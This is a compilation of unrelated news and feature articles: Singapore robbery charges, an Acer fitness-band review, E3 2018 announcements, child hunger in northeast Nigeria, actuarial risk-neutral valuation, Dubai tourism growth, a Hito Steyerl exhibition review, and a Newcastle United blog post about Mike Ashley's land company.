Abdul Rahman, who was charged on Thursday, had allegedly committed other offences including cheating in 2016 and had a warrant of arrest issued against him when he failed to turn up in court on April 5.
He allegedly robbed Mr Pang three days later on Sunday, with Uber driver Syed Mokhtar Syed Yusope, at around 11.40pm that day.
Mokhtar was arrested at the Woodlands Checkpoint on Monday and charged with one count of robbery with hurt two days later. Abdul Rahman, who was caught in a Sentosa hotel on Tuesday, was handed a similar charge on Thursday.
His former wife, Yogeshwry Raman, 33, was also taken to court on Thursday and charged with dishonestly receiving stolen property valued at $50,300, including a Rolex watch worth $45,800.
Abdul Rahman was facing 11 other charges before he allegedly robbed Mr Pang.
He is said to have assaulted a man known as Yugendiran Jagapalan in a flat at Block 8 Lorong Lew Lian near Upper Serangoon Road on April 19, 2016.
On July 10 that year, he allegedly misappropriated debit cards belonging to another man.
He is also accused of committing five counts of cheating with an alleged accomplice Selvandran Nagendran, 33, later that day. They allegedly used the cards to buy items worth $3,674, including a mobile phone and two rings.
On Aug 15, 2016, Abdul Rahman is accused of harassing a man and a woman by hurling vulgarities at them. He allegedly harassed her again on Dec 7 that year before assaulting the same man later.
Mokhtar’s case has been adjourned to April 18 while Abdul Rahman and Yogeshwry will be back in court the following day. The trio are now remanded at the Central Police Division.
The police have advised the public to exercise discretion when dealing with strangers, and to avoid carrying large amounts of cash.
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Hands on: Acer Liquid Leap Fit review
Continuous heart rate monitoring that lasts a week
Not yet rated By Hugh Langley 2016-04-21T21:57:00.111Z Wearables
What is a hands on review?
Early Verdict
Acer's Liquid Leap Fit is a promising wearable for the health and wallet conscious, but lacks charm.
Continuous heart rate monitoring
Range of bands to choose from
Interface is very basic, a bit hard slow
Jury's still out on quality of heart rate tech
Healthcare is going to be vital to the growth of the wearables market. Wearables that can deliver meaningful, context-rich information - blood pressure, glucose levels, reminding us when to take medications, or when we've not had enough water - are the ones that will thrive.
It's for that reason that Acer is focusing on health for its latest wearable, the Liquid Leap Fit. It's a small device that lacks the grandeur of the Apple Watch; it's not a smartwatch, but a fitness wearable with a couple of smart features thrown in.
Oddly, Acer announced the Leap Fit last year but held it back from launch. Now it's letting us play with it, with an aim to get it on the market in Q3 this year. But the Fit could easily blend into the crowd of other similar devices on the market, not to mention that it's very similar to Acer's Liquid Leap and Liquid Active - so what's the USP here?
The big selling point is continuous heart rate monitoring, which Acer says won't impact on the device's battery life. In fact, it promises a week of battery life from one charge, during which time your heart rate will be continually read.
The Liquid Leap Fit connects to an iOS and Android app which collects this data and presents it in graph form, so you can keep an eye on it over time and have something meaningful.
Another nifty feature is the health-based notifications. These will let you request, via the app, to be reminded to drink water at intervals through the day, take your medication, or do a number of other health-oriented activities. You can also tell the wearable directly how much you've had to drink (for example) and it will log it.
Again, all this information is fed into the app and the Cloud, which gives you useful charts in return.
As well as measuring steps, calories burned, sleep - the basics you'd expect from even an entry-level fitness wearable - the Leap Fit also has a smart coaching feature. I wasn't able to give this a proper workout in the limited space, but Acer says it will offer useful feedback.
The Leap Fit has one of the best performing batteries for a device that continually monitors heart rate, but the trade off is screen and interface. The UI is very simple, monochromatic, and, I found, often unresponsive.
It's far from a joy to navigate, but the lack of a flashy touch display will probably mean that Acer can keep this below the £100/$100 mark again, or at least not much above it.
The other problem I found was that the Fit struggled to actually find a heart rate reading. I double checked - no, I wasn't dead, it really was the band's fault. Hopefully this is just because I was using an early production model; there's no point in Acer singing about the continuous heart rate monitor if it's unreliable.
The rest of the Liquid Leap Fit is attractive enough, helped by the range of different bands you can choose from. Some of them are really nice, even the slightly odd choice of camouflage.
A continuous heart rate monitor that gets a week out of the battery? Impressive, even if it lacks charm. Beyond that, Acer's wearable has a few extra tricks that we're keen to test out in a full review. Right now, this looks like one for the health conscious and the cost conscious.
Hands on reviews' are a journalist's first impressions of a piece of kit based on spending some time with it. It may be just a few moments, or a few hours. The important thing is we have been able to play with it ourselves and can give you some sense of what it's like to use, even if it's only an embryonic view. For more information, see TechRadar's Reviews Guarantee.
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E3 2018: all the announcements from gaming's biggest show
By Dom Reseigh-Lincoln, Emma Boyle, Michelle Fitzsimmons 2018-06-14T21:06:00.164Z Gaming
From FIFA 19 to Tomb Raider and everything in between
All the news and trailers from E3 2018
Pre-E3 2018 news and rumors
E3 2018 has now come to an end but what a year it was. Big announcements, exciting trailers and some outstanding gameplay. If you're looking to catch up on the news from the show, we're got everything right here as well as our hands-on impressions with some of hottest games of the show.
TechRadar has the exclusive scoop on some of E3's biggest news: Netflix is bringing a Minecraft: Story Mode to its service. Minecraft: Story Mode on Netflix will be a five-part episodic adventure and will be available to stream later this year.
Additionally, TechRadar also broke the news that Telltale Games is developing a game based on Netflix's hugely popular Stranger Things series.
Of course, we've played games! Emma Boyle rounded up 10 big things you need to know about Assassin's Creed Odyssey and told us why Cyberpunk 2077 might be the reason she leaves the real world, while Nick Pino went hands on with Super Smash Bros. Ultimate (and actually won).
Nick also played Spider-Man on PS4, and writes it's the game fans have waited their entire life for. And Emma took Skull and Bones for a sea-worthy spin.
One of the most compelling games we played at E3 is called Concrete Genie. It deals with bullying and what it's like to be a creative teenager who'd rather paint than fight. It's a beautiful, moving tale, and one we highly recommend.
You can bet we've got opinions about the biggest gaming show on Earth. Our Matt Hanson writes that Microsoft's showcase makes him glad he's a PC gamer, while Emma Boyle notes the PlayStation E3 event was a bad presentation of good games.
Joe Osborne writes that Nintendo Switch finally leaned into its multiplayer niche at E3 2018, while Damien McFarren dissects what worked and what didn't at Ubisoft's E3 conference.
We also grilled a Microsoft VP about whatever happened to VR on Xbox One X, plus found out from Microsoft that cloud streaming will complement Xbox consoles, not replace them.
Watch all of the best E3 2018 trailers
8 virtual reality games you'll want to play from E3 2018
Cut to the chase
What is it? The world’s biggest annual gaming expo in Los Angeles
When is it? Show dates are June 12 – 14
The announcements of E3 2018
Fortnite launches on Nintendo Switch
Super Smash Bros. Ultimate release date is December 7
5 most exciting games Nintendo showed off at E3 2018
Overcooked 2
Fire Emblems Three Houses
Nintendo rounded out the press conference portion of E3 2018 with its signature fun and charm.
It was rumored long before E3 2018 started, but now it’s been confirmed: Battle Royale hit Fortnite is coming to Nintendo Switch and it’s available on the Nintendo Switch eShop right now.
An inordinate amount of time was spent on Super Smash Bros. Ultimate, but being the biggest SSB game, who can blame 'em?
This game includes every single character from the mascot-filled fighting series, including characters that were only available via downloadable content on Wii U, and non-Nintendo characters like Sonic, Pac-Man, and Snake (from Metal Gear Solid).
We got a look at this year's Pokemon Let's Go, but Nintendo didn't dive into the 2019 RPG of Pokemon.
For an in-depth take on Nintendo's E3 conference, check out Joe Osborne's piece on how Nintendo Switch leaned into its multiplayer niche during its big Direct broadcast.
And for a quick look at the coolest things Nintendo announced at E3 2018, then check out our round up of the five most exciting games Nintendo showed off.
Death Stranding trailer revealed
New The Last of Us 2 trailer centers on Ellie
Call of Duty Black Ops 3 is a surprise free PlayStation Plus game this month
10 cool things we learned from the PlayStation E3 briefing
The Last of Us 2
Sony did something different with its PlayStation E3 showcase this year, and whether you liked it or not, it still delivered when it came to great games.
The Last of Us 2 was treated to a new trailer, one showing Ellie fighting for her life and that perfectly set the tone for the game.
There's so much buzz around Death Stranding, it's deafening, and a new trailer unveiled at E3 will only serve to strengthen that buzz.
Ghost of Tsushima came out strong with a stunning, artful trailer at E3, showing a huge open world, combat reminiscent of Assassin's Creed and the importance of stealth in the game.
And everyone's favorite spider-inspired superhero got a gorgeous trailer of his own. The Marvel's Spider-Man trailer featured a who's who of villains, from Electro to Vulture. Not only does the footage give us a good look at combat, it really showcases the traversal mechanics; Spidey moves fluidly both on foot and through the air.
While it will be some time yet before we can play many of Sony's most-talked about games, one thing that might tide us over is the release of Call of Duty Black Ops 3 on PlayStation Plus for free starting today. Hey, it's something, right?
If you're short on time or just want to know what the coolest of the cool was from the PlayStation conference, have we got the roundup for you.
PC Gaming Show
10 most exciting games from the PC Gaming Show 2018
Maneater is an Action RPG that has you play as the shark
Mavericks: Proving Grounds 400-player battle royal beta launches in August
Satisfactory turns building games into an industry simulator
Mavericks: Proving Grounds
Neo Cab
Don't think E3 is just about console gaming. The PC Gaming Show gives lots of love to PC games, and this year's installment didn't disappoint.
If you watched Jaws or Deep Blue Sea and thought, "I'd love to play a game where I'm the shark," then Maneater is the game for you. It's the new open-world, single-player Action RPG from Blindside Studios, and it looks like a ridiculous(ly) good time.
For those fans of Player Unknown's Battlegrounds who just felt like it could use quadruple the player count, Mavericks: Proving Grounds might just be the game you've been waiting for. Mavericks features 400-player, last-man standing games, which opens in beta on August 18. That's nothing; the open-world MMO-shooter game will eventually support up to 1,000 players.
Satisfactory is the latest building adventure game from Coffee Stain Studios and from the looks of its first trailer, it’s almost like a first-person SimCity game. On the PC Gaming Show stage, Coffee Stain Studios announced the first closed alpha in the coming months and users will be able to sign up for updates on the Satisfactory website.
Short on time, then check out the 10 most exciting PC games from this year's PC Gaming Show!
Assassin's Creed Odyssey release date is October 5
Ubisoft and Nintendo team up... again
Beyond Good and Evil 2 brings back Jade
Mario Rabbids
Ubisoft's E3 2018 press conference didn't disappoint, with big announcements, new game trailers and even stunts in the theater.
Skull and Bones got a brand new cinematic trailer, and it shows the gritty realism of the game in stunning detail. Plus, there's a new gameplay trailer that reveals even more about the anticipated 2019 title.
Ubi rolled right into Beyond Good and Evil 2, revealed as a prequel to the action in the first game. Jade also makes a return as a main character. After years in the cooker, this game is starting to feel very real.
Fans of Nintendo should be pleased to learn that Ubisoft and Nintendo are teaming up once again, this time with Starfox coming to Starlink: Battle for Atlas. The game launches on October 16 for PS4, Xbox One and Nintendo Switch, though Starfox will be a console exclusive just for the Switch version of the game.
Finally, Ubisoft ended its keynote with the game everyone is waiting for: Assassin's Creed Odyssey. Set in ancient Greece, you play an outcast Spartan hero, either Alexios or Kassandra. The trailer is gorgeous, of course, and sets the stage for what should be an epic odyssey that's out on October 5.
Doom Eternal brings double the demons
Bethesda announces Prey and Wolfenstein VR games
Starfield is Bethesda's first new original franchise in 25 years
The next Elder Scrolls game is coming to mobile
Elder Scrolls 6
Elder Scrolls: Blades
Bethesda's E3 showcase got off to a slow start, but after a Rage 2 reveal (which has a distinct Mad Max vibe), things really started to pick up.
Doom Eternal was announced as a sequel to the 2016 Doom release. This time, hell looks like it's come to Earth. It's dark and depressing, but should make for one heck of a game.
The hotly anticipated Fallout 76 was already discussed during Microsoft's keynote earlier on Sunday, but Bethesda still had huge news: the Fallout 76 release date is November 14. Oh, and almost just as big was that the game will feature online multiplayer, though you'll still be able to play the game solo.
VR continued to be a big theme for Bethesda as two new VR titles were announced: Prey Typhon Hunter and Wolfenstein Cyberpilot. And speaking of Wolfenstein, a new chapter in the franchise was announced in the form of Wolfenstein: Youngblood.
Though it wasn't expected, Bethesda also played a super-short teaser clip for Elder Scrolls 6, confirming it's in the works. We literally have almost nothing else to go on, expect that it is a game that exists.
Turning to mobile, Bethesda revealed a new game called Elder Scrolls: Blades. It will bring a massive first person RPG experience "with console quality graphics" to your phone. Look for it to launch in mid- to late 2018.
Finally, Bethesda announced it's developing its first new original franchise in 25 years. Like Elder Scrolls 6, there's not a ton to go on right now, but we do know that it's called Starfield and it's set in space. It looks to be as epic as Fallout and The Elder Scrolls, so it should be something lots of people will be scrambling to play, whenever it releases.
Microsoft confirms new Xbox consoles are in the works
Gears 5 is coming to Xbox One in 2019
Microsoft buys five new studios for exclusive Xbox games
10 most exciting games Xbox showed off at E3
Cuphead: The Delicious Last Course (DLC)
Microsoft took the E3 2018 stage to show off a whopping total of 50 new games, 18 of which the firm brags will be day-one exclusives to Xbox One consoles and Windows 10 PCs. With that many games, these are the major highlights:
The show kicked off with a nebulous look at the next Halo game. It's called Halo Infinite, so it's currently unknown whether this is the sixth mainline game in the franchise or a spin-off. No release date was given, nor was much of any information beyond a CG trailer.
Some more of Fallout 76 was shown off as well, but expect a fuller look at publisher Bethesda Softworks's own keynote late on June 10.
Crackdown 3 was officially confirmed to release in February 2019, with a brand new trailer and a few more details revealed, as well as an even more Terry Crews-looking main character.
Some more footage of Kingdom Hearts 3 was shown off as well, particularly a world based around the Frozen universe, though we already knew that we won't be seeing this one until January 29, 2019.
Forza Horizon 4 was shown off in detail, with developers touting mass multiplayer and dynamic environments with weather effects that open and close off new paths.
A new trailer for Shadow of the Tomb Raider was also unveiled, showing players what to expect when it lands on September 14 of this year.
Microsoft at last announced Gears of War 5, of course an Xbox exclusive and a continuation of sci-fi story line with a focus on drama.
Finally, CD Projekt Red took this opportunity to show off its long-awaited Cyberpunk 2077 game in much detail, though still no information on release date.
If you want to see the 10 most exciting games Xbox showed off during its E3 2018 keynote, we've got them rounded up for you right here.
FIFA 19 release date is September 28, 2018
Anthem release date is February 22, 2019
Battlefield 5 features a Battle Royale mode
Madden 19 is coming to PC
New Star Wars game is set between Episodes 3 and 4
EA Origin Access Premier is a new subscription service
We have a release date!
EA Origin Access
EA kicked E3 2018 off with a bang on June 9. The gaming giant wasted no time giving viewers trailers and big announcements for some of its most storied franchises.
The FIFA 19 release date was revealed as September 28 of this year, while it was also announced we have to wait a little longer for Anthem, which won't be out until February 22, 2019.
Madden NFL 19 is blitzing its way to PC, the first time for the American football franchise in years, and a new Star Wars title is coming that's set between Episodes 3 and 4. It's called Star Wars: Jedi Fallen Order.
Battlefield 5 got a new trailer as well, and we also learned it will feature a cut-throat Battle Royale mode, much in the vein of Fortnite and PUBG.
Finally, there's a new service called Origin Access Premier, giving users access to a trove of over a hundred past games from EA and other publishers plus access to EA's newest releases, including Madden 19, FIFA 19 and Battlefield 5.
And everything else
Microsoft's Xbox app for Windows 10 will finally focus on PC gamers' needs
Sony is blocking Fortnite cross-play on Nintendo Switch
Fortnite on Switch is getting built-in voice chat this week
Turtle Beach’s newest gaming headsets were designed for Battle Royale
Ubisoft’s hack-and-slash For Honor can be had for free on PC
Cyberpunk 2077 is the game that could make me leave the meat space for good
Ubisoft's AI lip-syncing tech could have applications beyond gaming
Pokemon Let's Go will create a whole new generation of trainers
Turtle Beach Stealth 300
Lenovo Legion Y530
Seagate Game Drive for Xbox SSD
New games and hardware teases aren't all we're getting at this year's E3. There's been some other, just as exciting news announced as well.
The good vibes from Nintendo's announcement that Fortnite is on Nintendo Switch soured a bit when it was discovered gamers with a PSN account couldn't do cross-play with those on Switch. The same is true the other way.
On the plus side, from Thursday, the Switch version of the incredibly popular Battle Royale shooter will get built-in voice chat functionality.
Xbox head Phil Spencer took the time to address how the Xbox app on Windows 10 doesn't consider the needs and wants of PC gamers first, and acknowledged work is being done to improve the situation.
Turtle Beach has a new pair of gaming headsets designed specifically for Battle Royale games and game modes.
You can get For Honor for the price of absolutely nothing – albeit the Starter Edition of the game – if you head on over to Uplay. The offer is live now, and will run through until June 18 (so basically for the remainder of E3 week).
Sega has revealed that it’s bringing a trio of titles from the console format to PC, including two games from the Yakuza series. It’s the first time that this big-hitting franchise has debuted on the PC, and Yakuza 0 is leading the charge, with the game already up for pre-order on Steam with a launch date of August 1.
External graphics cards, or eGPUs, will allow PC games ported to Mac to look and perform nearly as good as their original versions. And one of the first games we'll get to see work with this wizardry is 2015's Rise of the Tomb Raider, producer Feral Interactive announced during E3.
Lenovo isn't sitting on the sidelines, instead revealing an overhaul to its Legion brand of gaming PC hardware, including brand new laptops and desktops. These new pieces of hardware drop the extreme gamer aesthetic in favor of something more widely palatable.
Seagate revealed a brand new SSD that's designed exclusively for the Xbox One. The Game Drive for Xbox SSD will be available in 2TB, 1TB and 500GB capacities, with the 2TB option able to store more than 501 downloaded games, as well as downloadable add-ons, and achievements. It can be yours this summer in the US and in the autumn in the UK.
And that's a wrap. Still hungry for more gaming? Then, turn to Page 2 for all of our earlier E3 predictions.
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UN says 75,000 children in Nigeria risk dying in 'months'
A young child suffering from severe malnutrition lies on a bed in the ICU ward at the In-Patient Therapeutic Feeding Centre in Maiduguri, Borno State Credit: STEFAN HEUNIS/AFP
16 November 2016 • 12:50am
The United Nations warned on Tuesday that 75,000 Nigerian children risk dying in "a few months" as hunger grips the country's ravaged northeast in the wake of the Boko Haram insurgency.
Boko Haram jihadists have laid waste to the impoverished region since taking up arms against the government in 2009, displacing millions and disrupting farming and trade.
Nigerian president Muhammadu Buhari has reclaimed territory from the Islamists but the insurgency has taken a brutal toll, with over 20,000 people dead, 2.6 million displaced from their homes, and famine taking root.
UN humanitarian coordinator Peter Lundberg said the crisis was unfolding at "high speed."
"Currently our assessment is that 14 million people are identified as in need of humanitarian assistance," by 2017, Mr Lundberg told reporters in the Nigerian capital Abuja.
Out of them, 400,000 children are in critical need of assistance, while 75,000 could die "in (the) few months ahead of us," Mr Lundberg said.
The UN hopes to target half of the 14 million people - a population bigger than Belgium - with the Nigerian government working to reach the rest.
Boko Haram puff
But Mr Lundberg said that the UN did not have enough money to avert the crisis and called on international partners, the private sector and Nigerian philanthropists to "join hands" to tackle the problem.
"We need to reach out to the private sector, to the philanthropists in Nigeria," Mr Lundberg said.
"We will ask international partners to step in because we can only solve this situation if we actually join hands."
Maiduguri, the capital of northeast Borno state and birthplace of Boko Haram, has doubled in size to two million people as a result of people seeking refuge in camps for internally displaced people.
In the city of Maiduguri almost an entire town has relocated to this informal settlement after they were attacked by Boko Haram Credit: Sam Tarling for Oxfam
Despite the World Food Programme warning of "famine-like conditions", the UN has not declared a "level three" emergency, the classification for the most severe crisis that would draw more attention and desperately needed funds to Nigeria.
"The humanitarian response hasn't scaled up adequately to meet a growing demand for food, particularly in the more remote camps in the northeast," Roddy Barclay, intelligence analyst at consultancy firm Africa Practice.
Nigerian vigilante and security sources told AFP in September that at least 10 people were starving to death daily in a camp for IDPs near the Borno capital.
Escape from Boko Haram: The refugees story
There is also the ongoing issue of insecurity. Despite the recent military gains, Boko Haram still prowls the northeast region and stages attacks and suicide bombings.
"The Nigerian army has scored notable military successes in containing Boko Haram. But that's not to say they have stabilised the region entirely," Mr Barclay said.
"Movement in remote zones remains high risk and the focus remains overwhelmingly on furthering military gains rather than addressing the very real socio-economic impact of the crisis."
Those zones include the shared borders of Nigeria, Niger, Cameroon and Chad in the Lake Chad Basin, said Ryan Cummings, director at intelligence firm Signal Risk.
"The scale of the humanitarian disaster in northeast Nigeria has been grossly underestimated," Mr Cummings said.
"There's an estimated one million people still living in communities inaccessible because of the ongoing insecurity."
Now the fear is that Boko Haram will try to capitalise on the failure of the Nigerian government - and the international community - to save the hungry.
"There are many claims that resources allocated to IDP camps are being misdirected into avenues of corruption, so aid is not reaching the people," Mr Cummings said.
Boko Haram could prey on that anger, he said, warning that "they could potentially end up being recruited back to Boko Haram."
Tory leadership latest: Remainer MPs claim they have 'numerous devices' in armoury to block no deal Brexit
Comment: I swam the length of the English Channel to highlight threats to the ocean - now the UK leads in its protection
Sainsbury's boss confronted by activist over plastic packaging
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Deflators: there’s no getting away from them is there?
In the January/February 2002 issue of The Actuary I demonstrated how deflators could be used to value insurance products with investment guarantees. Deflators were seen to be a neat and tidy way to value such contracts, but the volume of calculations involved might give cause for concern. A contract with cashflows at m different points in time that is to be valued using n stochastic runs requires a huge m*n matrix of deflators to be calculated, stored and accessed. Some people might rightly ask whether there are less calculation-intensive techniques around. This article sets out to describe the alternative methodology of risk-neutral valuation.
Using the deflator methodology, the value of a random cashflow C at time t is the average over all the stochastic runs i=1,,n of Dt,i*Ct,i. Dt,i is the time-t deflator applicable to the ith stochastic run. I demonstrated last month that the average (over i) of the Dt,i values needs to be equal to a risk-free discount factor vt if deflators are to be able to price zero coupon bonds correctly. An alternative presentation can be derived by substituting Dt,i=vt*Wt,i where the Wt,i can be interpreted as ‘weighting factors’. The average of these weighting factors must be equal to one and I described in the last article how the weightings tend to be heavier in runs where equities perform poorly.
The value of the time-t cashflow can then be rearranged to give:
SDt,i*Ct,i/n = Svt*Wt,i*Ct,i/n = vt*SCt,i*Wt,i/n
This new expression looks like the present value of an expected cashflow but where, rather than assigning identical probabilities of 1/n to each run, the ith run and tth period is assigned a ‘risk-neutral’ probability of Wt,i/n. In return for this extra complication we are rewarded with being able to discount using a single vt factor rather than a set of n deflators. This suggests the possibility of an alternative valuation technique, where the value of a random cashflow is equal to the present value of its expectation but where the expectation is based on artificial risk-neutral probabilities rather than our best estimates. This technique is known as risk-neutral valuation.
Indirect adjustment
The way that risk-neutral valuation is used in practice is slightly different. Rather than being adjusted directly, the probabilities are adjusted indirectly by adjusting the parameters in the underlying investment model. The adjustment made is one that results in all assets earning a risk-free rate of return. Under the reparameterised model, it can be shown that the Wt,is are all equal to one, the deflators all equal to vt and (most importantly) the risk-neutral probabilities all equal to 1/n. The valuation formula simplifies down to vt*SCt,i/n. Now we have not only a single vt discount factor but also equal 1/n probabilities for all the runs.
At this stage, an example would help illustrate risk-neutral valuation in action. Table 1 left shows five random values for an equity index at time 1 from two asset models. The first set was based on a Black-Scholes model with an expected rate of return of 12.9%. These runs were used in the illustration in the last article. The second set are from a risk-neutral version of the same model one that was reparameterised to make the expected return on equities equal to the 5% risk-free rate that has been assumed all along. Both sets of runs are based on the same five random number feeds, so are directly comparable with each other.
Table 2 shows how values can be determined from the risk-neutral runs. In each case the first step is to determine the average cashflow at time 1 and the second step is to discount this payment by dividing by 1/1.05. Just as with the deflator methodology, it is useful to check that £100 of equities and £100 of bonds are being valued correctly. Table 2 shows that this is trivial for bonds but that there is (unsurprisingly) some sampling error that means equities are mispriced. A guaranteed equity bond paying out the greater of £100 and the equity index is valued at £106.8, compared to a theoretical value of £107.4. Increasing the number of stochastic runs will make the result converge towards this figure and valuation using deflators will converge towards that same number.
One disadvantage
So far this article has had nothing bad to say about risk-neutral pricing. If enough stochastic runs are performed, values will converge to the same figure as those calculated using deflators. The volume of calculation and computer power required is smaller. Some people may find that the tables showing the valuation calculation are more intuitive looking. There is, though, one disadvantage associated with risk-neutral valuation that should be highlighted.
Under the deflator methodology, we are free to parameterise our stochastic model using our best estimates of future investment returns. This means that we can look through the stochastic output and calculate expectations, probabilities, etc knowing that these will reflect what we really expect to happen. Such supplementary statistics are not available from risk-neutral valuation runs because they are based on artificial assumptions chosen to make the calculations easier. For example, table 2 suggests (albeit only based on five runs) that there is a 60% chance of the maturity guarantee on the guaranteed equity bond biting, whereas the corresponding realistic results in the January/February article tell us that a better estimate is 40%. Risk-neutral stochastic runs would be dangerous in the wrong hands because they can give a misleading picture of the business.
However, provided the results of the stochastic runs are regarded with care, risk-neutral valuation represents a viable alternative to deflators for a life office wishing to value financial guarantees.
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Dubai Tourism News Jul 28, 2016
Tourism boom drives Dubai’s stellar non-oil performance
Dubai's booming tourism and retail sectors saw the emirate’s non-oil private sector performance hit a 10-month high last month (June), according to the latest data from Emirates NBD.
The bank’s Economy Tracker Index, which takes a monthly reading on indicators such as new orders, employment and inventories, stood at 54.6 last month, indicating a slightly higher expansion rate than the previous month’s 54.5.
Emirates NBD said Dubai’s wholesale and retail sub-sector was the best performer, with a reading of 58.2, followed by travel and tourism at 54.1. Any reading above 50 indicates expansion, it said.
“The recovery in the travel and tourism sector last month is particularly encouraging as this sector had been relatively soft in previous months," said Khatija Haque, the head of Middle East and North Africa research at Emirates NBD.
The report echoes the sentiments of other analysts who have forecast an improved economic outlook over the next 12 months with tourism and retail growth expected to outpace that of other sectors.
Credit Suisse has said the UAE’s non-oil economy will expand by 2.9 percent this year, picking up momentum and growing by 3.7 percent next year.
“Tourism will again be among the stronger-performing sectors,” with easing sanctions against Iran playing a part in the improvement, as well as preparations for Expo 2020 in Dubai, according to Berna Bayazitoglu, an analyst at Credit Suisse, said a report in The National.
Market research firm Euromonitor has forecast that inbound trips to the UAE will increase by 39 percent over the next four years to nearly 28 million annually.
“A lot of growth is expected to come from Asian countries and less politically stable Arab countries, visits from friends and family, and shopping is one of the key leisure activity that tourists engage in," said Rabia Yasmeen, a Euromonitor analyst.
Discover more about the thriving Tourism in Dubai. Let us be your guide! .
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'Much of the experience is meant to be horrible': Hito Steyerl review
4 / 5 stars 4 out of 5 stars.
Serpentine Gallery, London
The German artist provides an uneasy ride in a show that starts in the digital realm and leads us towards the difficulties of everyday reality
Adrian Searle
@SearleAdrian
Wed 10 Apr 2019 11.53 EDT Last modified on Wed 10 Apr 2019 11.55 EDT
Tart, funny and furious … Hito Steyerl’s augmented reality installation, Power Plants. Photograph: Guy Bell/Rex/Shutterstock
There is a health and safety warning on one of the apps you must download to get the full augmented reality experience of Hito Steyerl’s Serpentine Gallery project. “In the future, 100% of all humans will die,” Steyerl warns us. “Access this zone at your own risk and don’t complain later.” She forewarns us of trouble, and that adults are advised to treat the experience as a fiction. “Anyone under the age of 19 is safe to understand it as they please, as they can probably deal with it.”
Tart, funny and furious, filled with rants and “semi-poems”, Steyerl’s latest project is difficult to approach. Complex, playful and barbed, her art is leavened by an often snarky humour that softens us up for the sucker punch. She seduces and entertains, only to lead us out of our depth. The first big British show by the German-born artist since her 2014 ICA survey begins in the digital realm and leads us inexorably toward the difficulties of everyday reality. It is not an easy ride.
A Yelp reviewer complains, 'This game is total crap. There’s just a bunch of weirdo AI salads wobbling around'
To begin with, I hated it. Standing outside the Serpentine Sackler Gallery (where the word Sackler is enough to give you bad vibes), we are asked to download a couple of apps to our smartphones, and point the phone’s camera at a maze-like runic square mounted on one of several concrete columns. Once configured (and doing that already had me hyperventilating), your phone is now your interface with the gallery. Forget direct looking. Forget an embodied experience. Only connect, the app store and a strong enough wifi signal willing.
Glasses on, glasses off, I stumble around, dutifully aiming my camera at Steyerl’s concrete signage and the forms that trigger parts of the virtual experience. I squint and pore over the screen to read the writing that drifts in the air before me. Look away and the words are gone. How unsatisfactory this is. It’s worse, if that is possible, trying to access the same AI experience via the tablets that hang on articulated rods. Imagine if there were a queue; imagine that everyone here were wandering around the spaces peering at their phones.
Many galleries are like this already, as more and more people let their phones do the looking, trying to capture on their devices the experience they are not really having. I am far from immune. Where I once often sketched my way around exhibitions, drawing works with a pencil as an aide-memoire, nowadays I just take innumerable snaps, which rarely get looked at again.
Drifts between the real and the virtual … Steyerl’s Serpentine exhibition. Photograph: courtesy of the artist/Andrew Kreps Gallery and Esther Schipper Gallery
Steyerl pre-empts criticism of the show by providing it herself. A Yelp reviewer complains: “This game is total crap. You can’t shoot anything at all, and there’s just a bunch of weirdo AI salads wobbling around.” How succinct. The weirdo salads are, in fact, a series of scaffolding towers on which a hothouse of plant life, blossoms and flowers and glows on LED screens. It is all kind of lovely, if you like plant porn. Another review, found on the Power Plants OS app, tells us: “The show cluelessly gestures towards painting … The mastery of the solitary genius brushstroke is foolishly forsaken for the empty lure of electricity and collectivity. Non-fossil-based, non-male art is just not art.” This purports to be a private note in advance of a Guardian review, dated 2 June 2019, by Jonathan Jones. Steyerl is having a laugh with this parody, and so am I.
She also quotes author WG Sebald: “One thing AI is utterly unable to do is to predict the present,” a line supposedly taken from On the Natural History of Destruction. That book – a mordant look at the allied bombing of Germany during the second world war, and German fiction in its aftermath – was published in English in 2003. Sebald died in 2001. These are but details among details, among Borgesian dystopian descriptions of imaginary invasive and biologically engineered plants, literary asides, indecipherable runic script (only the artist knows what the statements emblazoned across the walls mean) and social commentary. It all drifts about between the real and the virtual.
Steyerl during a talk at the Serpentine. Photograph: Guy Bell/Rex/Shutterstock
Steyerl’s show is a gigantic conceit, a meta-fiction, a tease. I think much of the experience is meant to be horrible. A soundtrack comes and goes, with the artist burbling “this is the future” over and over, the voice breaking down in a sibilant, abstract chant over calming ambient music. The future might well be terrifying; we might not survive. And what of the present? It sidles in, through a number of videoed Power Walks, in which members of activist groups wander through surrounding Kensington Gardens and discuss disability rights, property ownership in London, the exploitation of domestic and hotel workers, the appalling crisis in state benefits and the gig economy.
Using the Actual Reality app, the gallery facade morphs into a three-dimensional graph, a mountain-scape, detailing social inequality, the distribution of London’s wealth, hunger and austerity in the UK. The products of deep data mining, AI technologies and predictive modelling are now extensively used to ascertain housing and social benefit provision. Steyerl and researchers and collaborators in effect use the technology to expose itself. The Serpentine Gallery, and its location in Royal Borough of Kensington and Chelsea, becomes a site for institutional and social critique. (But where are the Sacklers in all this, one would like to know.) On weekends, you too can take a walk in the park with social activists and join their conversation. With this complicated splicing of fact and fantasy, social reality and grim futurology, Steyerl sucks us in. But don’t get too seduced, she seems to be saying. Along with the fun stuff and the pretty flowers in the gallery, life for many people is hell. Hear their voices, walk with them.
• Hito Steyerl: Power Plants is at the Serpentine Sackler Gallery, London, from 11 April to 6 May.
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Mike Ashley reverses strike off of his company that held land which could increase St James Park capacity
It is probably something and nothing BUT Mike Ashley has made an intriguing u-turn with one of his companies.
It is worth making clear at this point, Ashley has loads of companies registered at Companies House.
Many of them connected/related to Newcastle United, many others that are not.
This one in question is Company number 06836849 and is named PROJECT J NEWCO NO.40 LIMITED.
On 23 May 2019 an application was made to Companies House to strike the company off the register.
However, on 14 June 2019 this was then reversed, with Companies House showing now a move to withdraw the company strike off application (well spotted by Newcastle fan @Van_Damme_Moran).
Once again, it is probably nothing to get excited about but…PROJECT J NEWCO NO.40 LIMITED was the company/financial vehicle where Mike Ashley held the land at Strawberry Place, opposite the Gallowgate End.
That land was bought by Newcastle United when Hall and Shepherd ran/owned the club, with the intention of being used as part of a wider development that would see St James Park increase in capacity to at least 60,000 (see below).
When Mike Ashley bought Newcastle United, that land was part of the package.
However, instead of looking at ways to increase the capacity of St James Park, Mike Ashley bought the land off NUFC and then sold it for a personal profit to developers, who have the intention/plans (see below again) to use the land solely to put up hotels, office space, retail space etc etc.
Two weeks ago today I wrote an article (once again, see below), where I speculated that the reported Bin Zayed Group (BZG) move to buy Newcastle United could have come in the nick of time, one of those potentially being to keep open the possibility of expanding St James Park. Especially bearing in mind this is a club that averaged over 51,000 in the Championship.
All we have is these public records at Companies House, though as I said in my article below two weeks ago, no reason why if ambitious new owners came in now, they couldn’t halt these current development plans by buying the lease back.
